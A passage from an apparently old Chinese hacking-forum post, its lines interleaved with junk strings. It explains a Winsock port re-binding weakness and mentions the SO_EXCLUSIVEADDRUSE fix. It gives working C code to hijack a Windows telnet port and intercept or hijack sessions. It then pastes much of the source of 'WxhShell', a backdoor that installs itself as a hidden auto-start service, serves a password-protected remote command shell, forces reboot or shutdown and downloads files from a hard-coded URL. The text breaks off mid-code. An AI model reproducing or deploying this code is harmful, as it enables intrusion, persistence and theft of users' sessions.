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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #eN2{G=4+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (f^/KB=  
j D*<M/4  
  saddr.sin_family = AF_INET; @-L\c>rqT  
q sUBvq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FA>.1EI  
?hAO-*);  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H)h^|A/vO  
1JU je  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5Ok3y|cEx  
-T;^T1  
  这意味着什么?意味着可以进行如下的攻击: 3M(*q4A$"  
j^;P=L0=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E<}sGzMc  
*zN~x(0{E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <KK.f9^o(  
'<vb_8.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  r73W. &  
r~JGs?GH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,;5%&T  
mA$86 X_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [mQ1r*[j  
oemN$g&7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (]\p'%A)  
(J.Z+s$:2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TBrw ir  
X`EVjK  
  #include wkPjMmW+!  
  #include ^fe,A=k~1  
  #include |c8\alw  
  #include    jUKMDl H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K?[Vz[-Fc  
  int main() i$p2am8f  
  { ]T|$nwQ  
  WORD wVersionRequested; lw gwdB  
  DWORD ret; *k;bkd4x  
  WSADATA wsaData; z/h]Jos  
  BOOL val; ,u^{zYoW  
  SOCKADDR_IN saddr; t_xK?``  
  SOCKADDR_IN scaddr; C>x)jDb?  
  int err; ;,6C&|n]w  
  SOCKET s; *k_<|{>j(  
  SOCKET sc;  K> 4w  
  int caddsize; [e ztu9  
  HANDLE mt; Q W,:'\G  
  DWORD tid;   %XeN_ V  
  wVersionRequested = MAKEWORD( 2, 2 ); ]UEA"^  
  err = WSAStartup( wVersionRequested, &wsaData ); 62,dFM7  
  if ( err != 0 ) { $:oC\K6  
  printf("error!WSAStartup failed!\n"); 6;:D!},'c  
  return -1; ?!jJxhK<h  
  } i.7_i78\"  
  saddr.sin_family = AF_INET; P (7Q8i'  
   %i/|}K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %{4 U\4d@'  
xRgdU+,Mj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =bja\r{  
  saddr.sin_port = htons(23); e(a,nZF.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =O"]e/CfO  
  { G1e_pszD{o  
  printf("error!socket failed!\n"); PKntz7  
  return -1; M&hNkJK*G  
  } 60{DR >S  
  val = TRUE; D8u`6/^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N9#xTX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l4+ `x[^  
  { &dWGa+e  
  printf("error!setsockopt failed!\n"); F1_,V?  
  return -1; M_UmnqN1C  
  } t7u*j-YE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7?uDh'utt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "&f|<g5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |;~2y>E  
,9jk<)m]L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &xB9;v3  
  { xrBM`Bj0@  
  ret=GetLastError(); Kf[.@_TD<1  
  printf("error!bind failed!\n"); q'+ARW48  
  return -1; T-ST M"~%  
  } DMsqTB`  
  listen(s,2); !e<2o2~.  
  while(1) z8"1*V  
  { _<mY|  
  caddsize = sizeof(scaddr); ?t6wozib2  
  //接受连接请求 {*hvzS{1d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e~(e&4pb  
  if(sc!=INVALID_SOCKET) !idVF!xG  
  { :7.k E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !lFNG:&`  
  if(mt==NULL) `i(b%$|^&Z  
  { nXhP ME  
  printf("Thread Creat Failed!\n"); NkNFx<9T  
  break; z\UXn RL  
  } .-T P 1C  
  } |:#Ug  
  CloseHandle(mt); GXD<X_[  
  } sUc[!S:/  
  closesocket(s); R\7r!38  
  WSACleanup(); 1,OkuyXy!>  
  return 0; EZ"i0u  
  }   =8`KGeP$  
  DWORD WINAPI ClientThread(LPVOID lpParam) " 62g!e}!c  
  { |XG&[TI- "  
  SOCKET ss = (SOCKET)lpParam; -V~Fj~b#  
  SOCKET sc; pL[3,.@WA  
  unsigned char buf[4096]; $G)HU6hF*  
  SOCKADDR_IN saddr; *My9r.F5o  
  long num; d oEuKT  
  DWORD val; yFmy  
  DWORD ret; J %A=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %{rb,6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >m;nt}f'+  
  saddr.sin_family = AF_INET; sm{0o$\Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VO {z)_  
  saddr.sin_port = htons(23); {j`8XWLZZN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fDW:|%{Y,  
  { W*_c*  
  printf("error!socket failed!\n"); ]v>[r?X#V  
  return -1; <+ [N*  
  } d6[' [dG  
  val = 100; }vY^e OK.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @uV]7d"z(  
  { D~i5E9s5  
  ret = GetLastError(); |X XO0  
  return -1; rf]z5;  
  } C<T6l'S{?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DOFW"SpE  
  { Pke8RLg2A  
  ret = GetLastError(); < -W 8  
  return -1; SKNHLE}  
  } k}nGgd6XD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7_jt =sr  
  { *}#HBZe(9  
  printf("error!socket connect failed!\n"); VrfEa d  
  closesocket(sc); }TZM@{;  
  closesocket(ss); :XAyMK7   
  return -1; F{Yr8(UHA  
  } ,d.5K*?aI  
  while(1) "9Q_lVI|Q  
  { E;4dlL`*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A4d3hF~l`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mrG#ox4$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]0(ZlpT  
  num = recv(ss,buf,4096,0); N^F5J  
  if(num>0) m@D :t 5  
  send(sc,buf,num,0); IvQuxs&a  
  else if(num==0) qyy .&+  
  break; {A ,w%  
  num = recv(sc,buf,4096,0); -cn`D2RP  
  if(num>0) {H9g&pfv  
  send(ss,buf,num,0); xi ,fm  
  else if(num==0) Y![ i=/  
  break; N 5{w  
  } 4wEkxCWp/  
  closesocket(ss); V5 9Vf[i|  
  closesocket(sc); Iv9U4  
  return 0 ; 0/z$W.!  
  } :]8A;`G}  
XS&;8 PO  
9 MQwc  
========================================================== |KPNl\%ID  
/Gb)BJk!  
下边附上一个代码,,WXhSHELL }LEasj  
Lew 2Z  
========================================================== 7N vRZ!  
|VyN>&r~6  
#include "stdafx.h" B'vIL'  
1Zo3K<*J  
#include <stdio.h> 5OFB[  
#include <string.h> D^];6\=.i  
#include <windows.h> D6yE/QeK4  
#include <winsock2.h> :y{@=E=XSC  
#include <winsvc.h> ] ONmWo77o  
#include <urlmon.h> md\Vw?PkU  
D=5%lL  
#pragma comment (lib, "Ws2_32.lib") Gw6!cp|/  
#pragma comment (lib, "urlmon.lib") r`+G9sj3U  
=&.9z 4A  
#define MAX_USER   100 // 最大客户端连接数 PuBE=9,  
#define BUF_SOCK   200 // sock buffer :Us+u-~  
#define KEY_BUFF   255 // 输入 buffer SD:Bw0gzrI  
.K#' Fec  
#define REBOOT     0   // 重启 y<v-,b*  
#define SHUTDOWN   1   // 关机 hHOx ]  
*'{9(Oj  
#define DEF_PORT   5000 // 监听端口  aqi]5,  
3_i29ghv  
#define REG_LEN     16   // 注册表键长度 &wkb r2P  
#define SVC_LEN     80   // NT服务名长度 (Nf!E[ }Z  
wYv++< z  
// 从dll定义API 4VsttT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'XYjo&w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )7E7K%:b,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (CYQ>)a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E( *CEW.V*  
v806f8  
// wxhshell配置信息 \vL{f;2J  
struct WSCFG { !L)|N<  
  int ws_port;         // 监听端口 _4k zlD  
  char ws_passstr[REG_LEN]; // 口令 vr kj4J f  
  int ws_autoins;       // 安装标记, 1=yes 0=no i~4$V  
  char ws_regname[REG_LEN]; // 注册表键名 ,n>K$  
  char ws_svcname[REG_LEN]; // 服务名 ;__k*<+{.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k&u5`F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k$7Kz"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mt~2&$>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pYUQSsqC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @zt"Y~9i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <hgfgk7<  
}tH_YF}u  
}; HMKogGTTo  
x IL]Y7HWM  
// default Wxhshell configuration  Qk.[#  
struct WSCFG wscfg={DEF_PORT, 9!Fg1 h=  
    "xuhuanlingzhe", I "R<XX  
    1, d=g,s[FMm  
    "Wxhshell", !(j<Y0xo:  
    "Wxhshell", =C^4nP-  
            "WxhShell Service", P}!pmg6V  
    "Wrsky Windows CmdShell Service", /(}YjeS  
    "Please Input Your Password: ", NZXCaciG  
  1, -Ji uq  
  "http://www.wrsky.com/wxhshell.exe", PL3oV<\4s>  
  "Wxhshell.exe" "1Y DT-I"  
    }; og*ti!Z  
>T\^dHtz  
// 消息定义模块 2aUE<@RU[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dA(+02U/.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,LU|WXRB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a3 t||@v!  
char *msg_ws_ext="\n\rExit."; 9}G<\y  
char *msg_ws_end="\n\rQuit."; Qb86*  
char *msg_ws_boot="\n\rReboot..."; Ff[GR$m  
char *msg_ws_poff="\n\rShutdown..."; +xYg<AFS  
char *msg_ws_down="\n\rSave to "; 2P|j<~JS  
--7@rxv  
char *msg_ws_err="\n\rErr!"; 'f7s*VKG  
char *msg_ws_ok="\n\rOK!"; Ui"3'OU'  
i)]^b{5nyB  
char ExeFile[MAX_PATH]; ;T>.  
int nUser = 0; %e/L .#0  
HANDLE handles[MAX_USER]; 5J6~]J  
int OsIsNt; '@5"p.  
{'+.?g  
SERVICE_STATUS       serviceStatus; ipRH.1=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =MmAnjo  
jhka;m  
// 函数声明 FaG&U  
int Install(void); srS5-fs  
int Uninstall(void); ,esUls'nz'  
int DownloadFile(char *sURL, SOCKET wsh); [O3)s]|  
int Boot(int flag); &&sm7F%  
void HideProc(void); S$GWY^5}{  
int GetOsVer(void); H5A7EZq}`  
int Wxhshell(SOCKET wsl); 94[8~_{fG  
void TalkWithClient(void *cs); <;!#+|L/  
int CmdShell(SOCKET sock); *i,A(f'e4X  
int StartFromService(void); OlsD  
int StartWxhshell(LPSTR lpCmdLine); I-/-k.  
W3B:)<f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p$XvVzW#<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0P4g6t}e  
Xc G   
// 数据结构和表定义 R)]+>M-.  
SERVICE_TABLE_ENTRY DispatchTable[] = e1R<+`]  
{ {"*gX&;~  
{wscfg.ws_svcname, NTServiceMain}, (S63:q&g  
{NULL, NULL} VzuU 0  
}; nS^,Sq\Ak  
QM=Y}   
// 自我安装 '#612iZo  
int Install(void) A+"'8%o9}  
{ Es1T{<G|w  
  char svExeFile[MAX_PATH]; *HQ>tvUh  
  HKEY key; zi+NQOhR  
  strcpy(svExeFile,ExeFile); edfb7prfTl  
mf gUf  
// 如果是win9x系统,修改注册表设为自启动 lnrs4s Km  
if(!OsIsNt) { =n_>7@9l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &^F'ME  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -EWC3,3  
  RegCloseKey(key); 4FJA+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )H*BTfmt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G;^,T/q47  
  RegCloseKey(key); N9PEn[t@  
  return 0; yO J|t#  
    } j =PM]  
  } <*HsJwr)u  
} Rs "#gT  
else { \{}5VVw-S?  
r]bG,?|  
// 如果是NT以上系统,安装为系统服务 VO7&<Y}{x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "1-z'TV=  
if (schSCManager!=0) S2~im?^21  
{ _j\ 8u`^n  
  SC_HANDLE schService = CreateService AXPdgo6  
  ( XWUi_{zn  
  schSCManager, X[1w(dU[  
  wscfg.ws_svcname, ##yH*{/&  
  wscfg.ws_svcdisp, zQsW*)L  
  SERVICE_ALL_ACCESS, :gx]zxK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i [2bz+Z?  
  SERVICE_AUTO_START, :eR\0cn  
  SERVICE_ERROR_NORMAL, eY'RDQa  
  svExeFile, 'F^"+Xi  
  NULL, #UqE %g`J  
  NULL, HurF4IsHk  
  NULL, _>Oc> .MB  
  NULL, l }]"X@&G  
  NULL oSkvTK$ &i  
  ); 3q0S}<h al  
  if (schService!=0) {[r}gS%  
  { Wf-Pa9  
  CloseServiceHandle(schService); O7zj8  
  CloseServiceHandle(schSCManager); ?q}:ojrs1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \|C~VU@  
  strcat(svExeFile,wscfg.ws_svcname); {:`XhPS<B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YZ/2 :[b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'F Cmbry  
  RegCloseKey(key); l +# FoN  
  return 0; E5t /-4  
    } W-4R;!42  
  } 94u~:'t>V  
  CloseServiceHandle(schSCManager); xnC5WF7  
} '2ACZcjDSv  
} 18ON`j  
_*u$U  
return 1; $NwPGy?%  
} z v:o$2Z  
)W!\D/C+  
// 自我卸载 ic?(`6N8  
int Uninstall(void) U/>l>J5  
{ m/ngPeZ  
  HKEY key; }n?D#Pk,  
Ap!i-E,"J  
if(!OsIsNt) { *4[P$k$7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a- 7RJ.  
  RegDeleteValue(key,wscfg.ws_regname); lLNI5C  
  RegCloseKey(key); <O~ieJim  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { saVX2j6Y  
  RegDeleteValue(key,wscfg.ws_regname); O\}w&BE:h  
  RegCloseKey(key); g ~>nT>6  
  return 0; P +Sgbtc  
  } LCok4N$o  
} 5ih5=qX  
} '$q3Ze  
else { uUh6/=y  
hF9y^Hx4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dG}*M25  
if (schSCManager!=0) @{@)gE  
{ OZ2faf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *xDV8iu_  
  if (schService!=0) E^x/v_,$w!  
  { IgKrcpK#}?  
  if(DeleteService(schService)!=0) { MN_1^T5  
  CloseServiceHandle(schService); ,gIeQ!+vy  
  CloseServiceHandle(schSCManager); #[y2nK3zF  
  return 0; mN'sJ1L-  
  } 8j8~?=$a6Q  
  CloseServiceHandle(schService); Kj#h9e  
  } <|VV8r93  
  CloseServiceHandle(schSCManager); M#xol/)h  
} :-cqC|Y  
} \1#~]1~ s  
SQDc%I>b  
return 1; ,sltB3f  
} P$"s*otr  
&IkHP/  
// 从指定url下载文件 .Iv`B:4  
int DownloadFile(char *sURL, SOCKET wsh) __)"-\w-_(  
{ ,~XAV ;+  
  HRESULT hr; G+K`FUNA  
char seps[]= "/"; -8&P1jrI  
char *token; 'o1lJ?~kH  
char *file; z"V`8D  
char myURL[MAX_PATH]; d@ tD0s  
char myFILE[MAX_PATH]; 1c:/c|shQ_  
/B5rWJ2AS  
strcpy(myURL,sURL); +l>X Z  
  token=strtok(myURL,seps); Q8NrbMrl  
  while(token!=NULL) gX/?  
  { bl4I4RB  
    file=token; $A>]lLo0  
  token=strtok(NULL,seps); K(_8oB784  
  } k(_^Lq f-  
}XRRM:B|)(  
GetCurrentDirectory(MAX_PATH,myFILE); B'D~Q  
strcat(myFILE, "\\"); 0B(Y{*QB  
strcat(myFILE, file); CZ ,2Rq  
  send(wsh,myFILE,strlen(myFILE),0); Dos';9Uq  
send(wsh,"...",3,0); ^fti<Lw5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %`]fZr A]#  
  if(hr==S_OK) (_eM:H=e>  
return 0; ^1X 6DH`  
else gA&`vnNP  
return 1; sh}eKwh  
'HvJ]}p  
} lt#3&@<v  
#6nuiSF  
// 系统电源模块 }Hb_8P  
int Boot(int flag) sDyt3xN  
{ +xBM\Dz8  
  HANDLE hToken; 1"U.-I@  
  TOKEN_PRIVILEGES tkp; ePTN^#|W  
mWH;-F*%  
  if(OsIsNt) { *NQsD C.J^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /(Ryh6M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @0iXqM#jH  
    tkp.PrivilegeCount = 1; J%8hf%! ud  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d>x(Bj6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6o]>lQ}  
if(flag==REBOOT) { kTo{W]9]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R3E|seR  
  return 0; 10r9sR  
} $H1igYc  
else { A "~Oi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BV]$= e'  
  return 0; ZnD(RM  
} i{k v$ir!  
  } 1f0maN  
  else { %DhLU~VX  
if(flag==REBOOT) { tdn|mX#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +=(@=PJ6  
  return 0; {-L}YX"Bh  
} "mAMfV0  
else { VPOp#;"%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zc!q a"4yM  
  return 0; yz_xWx#9  
} ^c:I]_Ww  
} d6~d)E  
0mI4hy  
return 1; I.)9:7   
} Lq{/r+tt/  
DO ,7vMO  
// win9x进程隐藏模块 tD No; f  
void HideProc(void) (0zYS_m A  
{ l#|M.V6G  
&F|Wk,y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qQCds}<w  
  if ( hKernel != NULL ) 910N 1E  
  { \$2zF8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xvn \~Vr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3y-P-NI~=  
    FreeLibrary(hKernel); }62Q{>`  
  } $"`e^J9!!  
c.h_&~0qf  
return; .,gVquqMY  
} :/i13FQ  
vXibg  
// 获取操作系统版本 0ZtH  
int GetOsVer(void) @gihIysf  
{ (:|1h@K/R  
  OSVERSIONINFO winfo; "oT]_WHqo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lsB.>NlU  
  GetVersionEx(&winfo); PF: E{_~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :6}cczQE|O  
  return 1; 'jBtBFzP-  
  else Sigu p#.p  
  return 0; .jRv8x b  
} *+<H4.W H  
D0 rqte  
// 客户端句柄模块 &Y$)s<u8.  
int Wxhshell(SOCKET wsl) KPdlg.  
{ [3io6XG x@  
  SOCKET wsh; V-z F'KI[  
  struct sockaddr_in client; :*)b<:4  
  DWORD myID; eHH9#Vrhc$  
gO m%?sg  
  while(nUser<MAX_USER) \`WAG>'l5  
{ n|!O .+\b  
  int nSize=sizeof(client); No(S#,vJ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5 OF*PBZ  
  if(wsh==INVALID_SOCKET) return 1; |p":s3K"Hy  
]d,#PF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R!7a;J}  
if(handles[nUser]==0) pOIfKd  
  closesocket(wsh); P%Wl`NA P  
else .;NoKO7)  
  nUser++; ??XtN.]7  
  } 8'Q1'yc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R5'_il  
k1M?6TW&  
  return 0; t: qPW<wc  
} ~Ec@hz]js  
2Jn?'76`  
// 关闭 socket 4mF=A$Q_/  
void CloseIt(SOCKET wsh) W[.UM  
{ DP4l %2m0  
closesocket(wsh); g<N3 L [  
nUser--; nokMS  
ExitThread(0); }o9(Q8  
} *Y- rEF>  
u3_AZ2-;  
// 客户端请求句柄 \DRYqLT`  
void TalkWithClient(void *cs) 5b%zpx0Y  
{ 7\JA8mm  
R,[+9U|4V  
  SOCKET wsh=(SOCKET)cs; iVb#X#  
  char pwd[SVC_LEN]; Ix'GP7-m_  
  char cmd[KEY_BUFF]; 9/LJ tM  
char chr[1]; i+B tz-  
int i,j; PVUNi: h  
^W<uc :L7  
  while (nUser < MAX_USER) { ?c# v'c^=h  
b. oA}XP  
if(wscfg.ws_passstr) { >rzpYc'~w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AC/82$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t&Z:G<;  
  //ZeroMemory(pwd,KEY_BUFF); T1pMe{  
      i=0; v0S7 ]?_  
  while(i<SVC_LEN) { j8#B  
pM7xnL4  
  // 设置超时 &fWYQ'\>  
  fd_set FdRead; {"w4+m~+te  
  struct timeval TimeOut; |p{FSS  
  FD_ZERO(&FdRead); pM'AhzS  
  FD_SET(wsh,&FdRead); a]|k w4  
  TimeOut.tv_sec=8; Cn(0ID+3f  
  TimeOut.tv_usec=0; >QM$ NIf@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kVb8$Sp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j=,]b6(  
haMt2S2_B:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JK9}Kb};  
  pwd=chr[0]; nFfwVqV  
  if(chr[0]==0xd || chr[0]==0xa) { rC!~4xj-  
  pwd=0; :N([s(}!$2  
  break; 7A[`%.!F6  
  } &-1;3+#w  
  i++; y1:#0  
    } <sq@[\l}a  
$I-i=:}g  
  // 如果是非法用户,关闭 socket zSFqy'b.M-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xlWTHn!j  
} U i ~*]  
x9!vtrM\Zr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,ZLg=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7`f',ZK%  
y-c2tF@'v  
while(1) { &D 4Ci_6k  
_GK3]F0  
  ZeroMemory(cmd,KEY_BUFF); 4l*4w x""v  
H:HJHd"W  
      // 自动支持客户端 telnet标准   saaN$tU7  
  j=0; 0jN?5j  
  while(j<KEY_BUFF) { K q0!.455  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c 0%%X!!$  
  cmd[j]=chr[0]; W!BIz&SY:-  
  if(chr[0]==0xa || chr[0]==0xd) { JH0L^p   
  cmd[j]=0; :h+gSvn:  
  break; X6dv+&=?  
  } cQMb+Q2Yw  
  j++; ard<T}|N  
    } \kGi5G]  
@n##.th  
  // 下载文件 /hMD Me  
  if(strstr(cmd,"http://")) { p7;/| ]o3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HjAQF?;V  
  if(DownloadFile(cmd,wsh)) 0UB,EI8   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P]G`Y>#$r  
  else &<E*W*b[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v*7lJNN.  
  } ?Q)z5i'g#  
  else { eY1$s mh t  
BEzF'<Z  
    switch(cmd[0]) { 93npzpge  
  ?>W4*8 (  
  // 帮助 6Q. _zk  
  case '?': { # N.(ZP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a!>yX ex  
    break; I!ykm\<  
  } bVc;XZwI  
  // 安装 |&t 2jD(  
  case 'i': { ui:  
    if(Install()) 0/."R ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;_lEu" -  
    else x_oL~~@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t4H@ZvAH0  
    break; |QvG;{!  
    } {zc<:^r^  
  // 卸载 e:Zc-  
  case 'r': { 0pS|t/h0  
    if(Uninstall()) :_q   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~iZMV ?w  
    else btK| U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;y7V-sf  
    break; bV#U&)|  
    } "3*Chc  
  // 显示 wxhshell 所在路径 y4HOKJxI  
  case 'p': { D %`64R  
    char svExeFile[MAX_PATH]; D/w4u;E@  
    strcpy(svExeFile,"\n\r"); ? 5qo>W<7  
      strcat(svExeFile,ExeFile); RrkS!E[C  
        send(wsh,svExeFile,strlen(svExeFile),0);  l+.E'   
    break; D@i,dPz5Zl  
    } {P_~_5o_  
  // 重启 >69+e+|I  
  case 'b': { $Wy7z^ t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); an 3"y6.8  
    if(Boot(REBOOT)) @83h/Wcxd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uw@z1'D[i"  
    else { n2Oi< )  
    closesocket(wsh); HN\Zrb  
    ExitThread(0); &rX..l  
    } )K8k3]y&  
    break; 5O Ob(  
    } 4-4lh TE(  
  // 关机 C^S?W=1=w  
  case 'd': { )*I=>v.Jq  
